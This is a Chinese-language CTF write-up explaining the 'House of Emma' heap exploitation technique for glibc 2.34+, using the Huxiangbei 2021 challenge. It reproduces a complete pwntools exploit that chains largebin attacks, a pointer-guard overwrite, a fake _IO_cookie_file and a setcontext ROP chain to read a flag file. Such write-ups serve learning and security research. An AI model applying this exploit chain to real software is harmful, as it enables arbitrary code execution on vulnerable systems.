借湖湘杯2021的house of emma 一题和wjh师傅的研究分析一下高版本中的堆利用技巧,同时也是对IO的重学习
0x01 概述
本文大部分都是基于wjh师傅的研究做的解释,原文地址如下:https://blog.wjhwjhn.com/archives/751/
libc2.34新版本在2021出现,这次的改动是,减去了hook,导致不能和之前一样劫持hook打orw或者getshell了。
于是需要新的利用方法,或者说,需要新的类似Free_hook或者Malloc_hook的东西来替代之前的方法。
在湖湘杯的比赛中碰到了这道1解题。
以往的漏洞利用,大都借助hook作为一个跳板实现了任意地址写向任意代码执行的转变,然而在新版本中取消了hook的机制,所以我们需要利用一个类似hook的东西,来实现劫持向getshell的转变。
实际上,我们很好想到IO中的虚表,vtable的机制和hook实际上是比较类似的,作为函数跳板去执行真实的函数,而其自生的检查比较少,条件实际上是比hook弱一点的。
但是由于其利用过程较为繁琐,主要突出在底层的虚表函数调用实际上对用户是比较透明的,所以IO的利用相比起其余的方法来说,扩展的比较慢。
但是在Emma中实现了IO利用的一大步。
要说原理其实和Kiwi Fsop差不多,关键点在于新的IO链的发掘。
0x02 利用
适用于当下所有的libc版本。
- 任意写一个可控地址(largebin attack stash等)
- 可以触发IO流(FSOP,House of kiwi)
Vtable
在 vtable 的合法范围内,存在一个 _IO_cookie_jumps
//jump表里的函数,可以看到cookie的函数
static const struct _IO_jump_t _IO_cookie_jumps libio_vtable = {
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_file_finish),
JUMP_INIT(overflow, _IO_file_overflow),
JUMP_INIT(underflow, _IO_file_underflow),
JUMP_INIT(uflow, _IO_default_uflow),
JUMP_INIT(pbackfail, _IO_default_pbackfail),
JUMP_INIT(xsputn, _IO_file_xsputn),
JUMP_INIT(xsgetn, _IO_default_xsgetn),
JUMP_INIT(seekoff, _IO_cookie_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_file_setbuf),
JUMP_INIT(sync, _IO_file_sync),
JUMP_INIT(doallocate, _IO_file_doallocate),
JUMP_INIT(read, _IO_cookie_read),
JUMP_INIT(write, _IO_cookie_write),
JUMP_INIT(seek, _IO_cookie_seek),
JUMP_INIT(close, _IO_cookie_close),
JUMP_INIT(stat, _IO_default_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue),
};
虚表,存在的是函数指针,通过偏移可以劫持其中的任意函数。在IO_cookie_jumps中存在几个函数,比较特殊。
static ssize_t
_IO_cookie_read (FILE *fp, void *buf, ssize_t size)
{
struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
cookie_read_function_t *read_cb = cfile->__io_functions.read;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (read_cb);
#endif
if (read_cb == NULL)
return -1;
return read_cb (cfile->__cookie, buf, size);
}
static ssize_t
_IO_cookie_write (FILE *fp, const void *buf, ssize_t size)
{
struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
cookie_write_function_t *write_cb = cfile->__io_functions.write;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (write_cb);
#endif
if (write_cb == NULL)
{
fp->_flags |= _IO_ERR_SEEN;
return 0;
}
ssize_t n = write_cb (cfile->__cookie, buf, size);
if (n < size)
fp->_flags |= _IO_ERR_SEEN;
return n;
}
static off64_t
_IO_cookie_seek (FILE *fp, off64_t offset, int dir)
{
struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
cookie_seek_function_t *seek_cb = cfile->__io_functions.seek;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (seek_cb);
#endif
return ((seek_cb == NULL
|| (seek_cb (cfile->__cookie, &offset, dir)
== -1)
|| offset == (off64_t) -1)
? _IO_pos_BAD : offset);
}
static int
_IO_cookie_close (FILE *fp)
{
struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
cookie_close_function_t *close_cb = cfile->__io_functions.close;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (close_cb);
#endif
if (close_cb == NULL)
return 0;
return close_cb (cfile->__cookie);
}
以上三个函数不难发现,都是先做一个类型的强制转化,然后给参数1赋新值。
详细观察强制类型转化之后的结构体,是一个_IO_FILE_plus的扩展。
/* Special file type for fopencookie function. */
struct _IO_cookie_file
{
struct _IO_FILE_plus __fp;
void *__cookie;
cookie_io_functions_t __io_functions; //方法
};
typedef struct _IO_cookie_io_functions_t
{
cookie_read_function_t *read;/* Read bytes. */
cookie_write_function_t *write;/* Write bytes. */
cookie_seek_function_t *seek;/* Seek/tell file position. */
cookie_close_function_t *close;/* Close file. */
} cookie_io_functions_t;
扩展后面添加了_cookie指针,和IO_function方法。方法用的是结构题本身而不是指针。
再回去看到盯上的三个函数,以Write函数为例子。最后的函数调用。
write_cb (cfile->__cookie, buf, size);
由以上易知,如果可以控制IO_FILE_plus结构体,那么一定可以做到伪造一个_IO_cookie_file结构体实现任意函数调用。
控制IO_FILE_plus的方法很多,往IO_list_all或者_stderr这些地方写堆地址即可。于是便有了以下的利用链。
基本方法是伪造vtable表。
调用链
触发IO流之后,会有一个call rbx+0x38的指令被触发,这时候rbx刚好是jump表。
此时这里打入IO_cookie_write的地址(也可以是以上函数的任意一个)就能实现劫持。
在IO_FILE_plus中我们构造的是关于_IO_cookie的扩展版本。
struct _IO_cookie_file
{
struct _IO_FILE_plus __fp;
void *__cookie;
cookie_io_functions_t __io_functions;
};
typedef struct _IO_cookie_io_functions_t
{
cookie_read_function_t *read;/* Read bytes. */
cookie_write_function_t *write;/* Write bytes. */
cookie_seek_function_t *seek;/* Seek/tell file position. */
cookie_close_function_t *close;/* Close file. */
} cookie_io_functions_t;
vatble的下面可以继续伪造参数和函数。因为,看到write的原型中调用的就是__cookie指针和io_function。0xF0偏移处的函数且参数为0xE0处的指针。
如果往这个地址打入gadget就实现了Orw或者直接onegadget的利用。
绕过PTR_DEMANGLE
以上的分析中,没有考虑到glibc中的指针保护机制,PTR_DEMANGLE
,该选项在Glibc中是默认开启的
所以我们劫持的时候要考虑到该指针的加密检查问题
extern uintptr_t __pointer_chk_guard attribute_relro;
# define PTR_MANGLE(var) \\
(var) = (__typeof (var)) ((uintptr_t) (var) ^ __pointer_chk_guard)
# define PTR_DEMANGLE(var) PTR_MANGLE (var)
从源码中观察,似乎是一个异或加密。
阅读WJH师傅的博客发现,这个值(保护指针的内容)存在于 TLS 段上,将其 ROR 移位 0x11 后再与指针进行异或。
关于TLS的资料在上面。
该值存在于fs:0x30的位置,这个位置和ld贴的很近,相对libc基址的偏移固定,虽然我们无法精准的泄露该值,但是可以往里面写一个固定的地址。
- Stash
- Fastbin reverse into Tcache
- largebin attack
无论哪一种,只要实现了往该地址写入一个已知的值,让这个本不随机的异或的加密值,变成已知的。
一些问题
在实际操作中,可能因为 stderr 的指针存放在 bss 段上,从而导致无法篡改。只能使用 exit 来触发 FSOP,但是又会发现如果通过 exit 来触发 FSOP,会遇到在 exit 中也有调用指针保护的函数指针执行,但此时的异或内容被我们所篡改,使得无法执行正确的函数地址,且此位置在 FSOP 之前,从而导致程序没有进入 IO 流就发生了错误。
所以考虑构造两个IO_FILE,二者处于chains的相邻段,即第一个的chains指向第二个IO_FILE。
这样第一个用来修改__pointer_chk_guard,绕过检查,第二个用来打House of Emma的利用链。
0x03 House of Emma题解
基本情况
保护全开
开了沙箱,ban掉了execve。
保护全开。
看main函数,应该是一个VM类型的题。
读入一个指令,然后jumpout损坏。。。
add函数,限制大小在0x40F和0x500之间。16个chunk
明显的UAF
show函数就是简单的泄露
大概分析出这个简单的VM了,
输入的第一个字节做switch跳转,第二个字节是index第三第四个字节是size,以后是edit函数的输入。
尝试修复JUMPOUT
动调发现函数入口(其实在IDA一眼就能看到。。。
然后再函数入口处按了一下P,神奇的发现,函数的开始地址被重新定义了!!!
然后再去main函数那里,把call patch掉,yep,修改成功。然而又遇到了jmp rax
void __fastcall sub_128D(_BYTE *a1)
{
while ( (*a1 & 0xFu) > 0x10 )
puts("Invalid opcode");
__asm { jmp rax }
}
看汇编的意思是如下
从地址取偏移然后jmp,看到偏移表,我们按照4字节区分开来
.rodata:000000000000203C dword_203C dd 0FFFFF44Ch ; DATA XREF: sub_128D+34↑o
.rodata:000000000000203C ; sub_128D+40↑o
.rodata:0000000000002040 dd 0FFFFF3A1h
.rodata:0000000000002044 dd 0FFFFF3C8h
.rodata:0000000000002048 dd 0FFFFF3ECh
.rodata:000000000000204C dd 0FFFFF410h
.rodata:0000000000002050 dd 0FFFFF445h
.rodata:0000000000002054 dd 0FFFFF29Eh
.rodata:0000000000002058 dd 0FFFFF2D1h
.rodata:000000000000205C dd 0FFFFF36Fh
.rodata:0000000000002060 dd 0FFFFF306h
.rodata:0000000000002064 dd 0FFFFF44Ch
.rodata:0000000000002068 dd 0FFFFF44Ch
.rodata:000000000000206C dd 0FFFFF44Ch
.rodata:0000000000002070 dd 0FFFFF44Ch
.rodata:0000000000002074 dd 0FFFFF44Ch
.rodata:0000000000002078 dd 0FFFFF44Ch
.rodata:000000000000207C dd 0FFFFF33Ah
类似switch的结构中出现的表。
假设选择的是我们计算一下 rdx+该偏移表的地址,发现刚好落在后面的一些段内,于是可以分析
opcode取值
- 0 违法
- 1 add
- 2 del
- 3 show
- 4 edit
- 5 结束
- 6 似乎是实现一个循环解析指令的效果
还有一些杂的就不逐一分析了
所以说一次以4字节为一个指令,可以连续执行。
每次5退出之后,重新malloc一个chunk再次输入指令。
关于修复JUMPOUT 分享一个对抗JUMPOUT的小技巧_游戏逆向
关于修复jmp rax 看上面。。。
解题思路
泄露lilbc还是很简单的,直接ub一把梭。
然后就有点蒙了,largebin下的攻击getshell的还真不多,能想起来的也只有任意地址写堆地址,利用FSOP打伪造IO来实现getshell。
但是这题开了沙箱保护,属实又把难度提高了很多。
下面主要分析一下该题解的exp
思路
- 使用 LargeBin Attack劫持stderr实现IO_FILE_plus的劫持
- 使用 LargeBin Attack 在__pointer_chk_guard 处写一个已知地址
- 往相应的堆中写入伪造的扩展之后的结构体
- 利用 Unsorted Bin 会与 Top Chunk 合并的机制来修改 Top Chunk 的 Size,从而触发House OF Kiwi 中的 IO 调用。
- 进入 House OF Emma 的调用链,同时寻找一个能够转移 rdi 到 rdx 的 gadget,利用这个 gadget 来为 Setcontext 提供内容。
- 利用 Setcontext 来执行 ROP 来 ORW
(Wjh师傅)官方exp
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
# sh = process('./pwn')
sh = remote('127.0.0.1', 9999)
libc = ELF('./lib/libc.so.6')
all_payload = ""
def ROL(content, key):
tmp = bin(content)[2:].rjust(64, '0')
return int(tmp[key:] + tmp[:key], 2)
def add(idx, size):
global all_payload
payload = p8(0x1)
payload += p8(idx)
payload += p16(size)
all_payload += payload
def show(idx):
global all_payload
payload = p8(0x3)
payload += p8(idx)
all_payload += payload
def delete(idx):
global all_payload
payload = p8(0x2)
payload += p8(idx)
all_payload += payload
def edit(idx, buf):
global all_payload
payload = p8(0x4)
payload += p8(idx)
payload += p16(len(buf))
payload += str(buf)
all_payload += payload
def run_opcode():
global all_payload
all_payload += p8(5)
sh.sendafter("Pls input the opcode", all_payload)
all_payload = ""
# leak libc_base
add(0, 0x410)
add(1, 0x410)
add(2, 0x420)
add(3, 0x410)
delete(2)
add(4, 0x430)
show(2)
run_opcode()
libc_base = u64(sh.recvuntil('\\x7f')[-6:].ljust(8, '\\x00')) - 0x1f30b0 # main_arena + 1104
log.success("libc_base:\\t" + hex(libc_base))
libc.address = libc_base
guard = libc_base + 0x2035f0
pop_rdi_addr = libc_base + 0x2daa2
pop_rsi_addr = libc_base + 0x37c0a
pop_rax_addr = libc_base + 0x446c0
syscall_addr = libc_base + 0x883b6
gadget_addr = libc_base + 0x146020 # mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
setcontext_addr = libc_base + 0x50bc0
# leak heapbase
edit(2, "a" * 0x10)
show(2)
run_opcode()
sh.recvuntil("a" * 0x10)
heap_base = u64(sh.recv(6).ljust(8, '\\x00')) - 0x2ae0
log.success("heap_base:\\t" + hex(heap_base))
# largebin attack stderr
delete(0)
edit(2, p64(libc_base + 0x1f30b0) * 2 + p64(heap_base + 0x2ae0) + p64(libc.sym['stderr'] - 0x20))
add(5, 0x430)
edit(2, p64(heap_base + 0x22a0) + p64(libc_base + 0x1f30b0) + p64(heap_base + 0x22a0) * 2)
edit(0, p64(libc_base + 0x1f30b0) + p64(heap_base + 0x2ae0) * 3)
add(0, 0x410)
add(2, 0x420)
run_opcode()
# largebin attack guard
delete(2)
add(6, 0x430)
delete(0)
edit(2, p64(libc_base + 0x1f30b0) * 2 + p64(heap_base + 0x2ae0) + p64(guard - 0x20))
add(7, 0x450)
edit(2, p64(heap_base + 0x22a0) + p64(libc_base + 0x1f30b0) + p64(heap_base + 0x22a0) * 2)
edit(0, p64(libc_base + 0x1f30b0) + p64(heap_base + 0x2ae0) * 3)
add(2, 0x420)
add(0, 0x410)
# change top chunk size
delete(7)
add(8, 0x430)
edit(7, 'a' * 0x438 + p64(0x300))
run_opcode()
next_chain = 0
srop_addr = heap_base + 0x2ae0 + 0x10
fake_IO_FILE = 2 * p64(0)
fake_IO_FILE += p64(0) # _IO_write_base = 0
fake_IO_FILE += p64(0xffffffffffffffff) # _IO_write_ptr = 0xffffffffffffffff
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0) # _IO_buf_base
fake_IO_FILE += p64(0) # _IO_buf_end
fake_IO_FILE = fake_IO_FILE.ljust(0x58, '\\x00')
fake_IO_FILE += p64(next_chain) # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x78, '\\x00')
fake_IO_FILE += p64(heap_base) # _lock = writable address
fake_IO_FILE = fake_IO_FILE.ljust(0xB0, '\\x00')
fake_IO_FILE += p64(0) # _mode = 0
fake_IO_FILE = fake_IO_FILE.ljust(0xC8, '\\x00')
fake_IO_FILE += p64(libc.sym['_IO_cookie_jumps'] + 0x40) # vtable
fake_IO_FILE += p64(srop_addr) # rdi
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(ROL(gadget_addr ^ (heap_base + 0x22a0), 0x11))
fake_frame_addr = srop_addr
frame = SigreturnFrame()
frame.rdi = fake_frame_addr + 0xF8
frame.rsi = 0
frame.rdx = 0x100
frame.rsp = fake_frame_addr + 0xF8 + 0x10
frame.rip = pop_rdi_addr + 1 # : ret
rop_data = [
pop_rax_addr, # sys_open('flag', 0)
2,
syscall_addr,
pop_rax_addr, # sys_read(flag_fd, heap, 0x100)
0,
pop_rdi_addr,
3,
pop_rsi_addr,
fake_frame_addr + 0x200,
syscall_addr,
pop_rax_addr, # sys_write(1, heap, 0x100)
1,
pop_rdi_addr,
1,
pop_rsi_addr,
fake_frame_addr + 0x200,
syscall_addr
]
payload = p64(0) + p64(fake_frame_addr) + '\\x00' * 0x10 + p64(setcontext_addr + 61)
payload += str(frame).ljust(0xF8, '\\x00')[0x28:] + 'flag'.ljust(0x10, '\\x00') + flat(rop_data)
edit(0, fake_IO_FILE)
edit(2, payload)
add(8, 0x450) # House OF Kiwi
# gdb.attach(sh, "b _IO_cookie_write")
run_opcode()
sh.interactive()
泄露libc和heap基址
# leak libc_base
add(0, 0x410)
add(1, 0x410)
add(2, 0x420)
add(3, 0x410)
delete(2)
add(4, 0x430)
show(2)
run_opcode()
libc_base = u64(sh.recvuntil('\\x7f')[-6:].ljust(8, '\\x00')) - 0x1f30b0 # main_arena + 1104
log.success("libc_base:\\t" + hex(libc_base))
libc.address = libc_base
guard = libc_base + 0x2035f0
pop_rdi_addr = libc_base + 0x2daa2
pop_rsi_addr = libc_base + 0x37c0a
pop_rax_addr = libc_base + 0x446c0
syscall_addr = libc_base + 0x883b6
gadget_addr = libc_base + 0x146020 # mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
setcontext_addr = libc_base + 0x50bc0
# leak heapbase
edit(2, "a" * 0x10)
show(2)
run_opcode()
sh.recvuntil("a" * 0x10)
heap_base = u64(sh.recv(6).ljust(8, '\\x00')) - 0x2ae0
log.success("heap_base:\\t" + hex(heap_base))
其中的一些地址,syscall和guard的取值偏移不是特别了解。这里不是重点,先继续看下面的内容
- 关于泄露,libc基址没得说,heap的话在largebin只有一个chunk的时候其fd_nextsize和bk_nextsize指向自己。
largebin attack打地址到stderr
该操作顺便修复了edit的chunk2
打一个地址(stderr-0x20)到bk指针,实现largebin attack(calloc触发)
然后再次修复largebin的结构然后malloc出来,一切恢复如初,准备下一步的利用。(此时stderr已经被劫持为堆上的地址了)
后面的写任意地址一样的操作。不做多解释
这里可以借鉴以下,在UAF存在的条件下,这里free(7)(一个大chunk) 然后使其和topchunk合并,然后add(8)(一个小的chunk),在之后edit 7就可以越界写topchunk的size了
Emma中的IO调用
实际上就是一个上面的IO链+orw
调用的时候通过偏移调用到了我们指定的write函数上,然后就执行了gadget。
调试
实际上跟踪IO流是最好的方法,这里选择了在IO_cookie_write下一个断点,因为是需要利用的漏洞函数。
断下来之后,首先停在了入口处。这里首先让我们过不去。为了展示一下payload,实际上可以一遍过。
这里就是ror对TLS段指针的保护。
然后继续走,发现运行到了内核函数,一直运行到第一个call调用
这也就解释了为何需要设置新的vtable为+0x40偏移的位置,只是为了把write的地址对的上这里的call函数。
这里的调用选择的参数可以看看,Cfile->cookie,这里对应的是rdi的0xe0处的偏移。也即是0x0000558367576af0
可以看到其中的payload。调用的函数时原来写的gadget
跟进write函数看一看。
第一次调用的时候,我们设置了rax不为0,但实际上需要为0才可以调用,call rax,这里的rax时输入的ror之后的gadget地址,所以这里ror之后实际上已经回来了。这里没有刻意打远程的TLS,所以设置一下。
接下来call rax的时候会执行这里,参数是我们的payload,看一下
完全没问题。
接下来就是正常的orw。
0x04 总结
使用的其实不是house of kiwi的链子,只是用该手段触发IO罢了。最终还是处理路上的IO_cookie_write触发字节,才实现了orw的调用。
最近比赛中遇到的2.34 2.31的题越来越多,方法也是层出不穷,对高版本的libc利用找到了第一次出现2.34的位置,学习了一下。IO可真是什么都能打。读一下IO源码还是有好处的。
- 本文作者: 就叫16385吧
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/1691
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!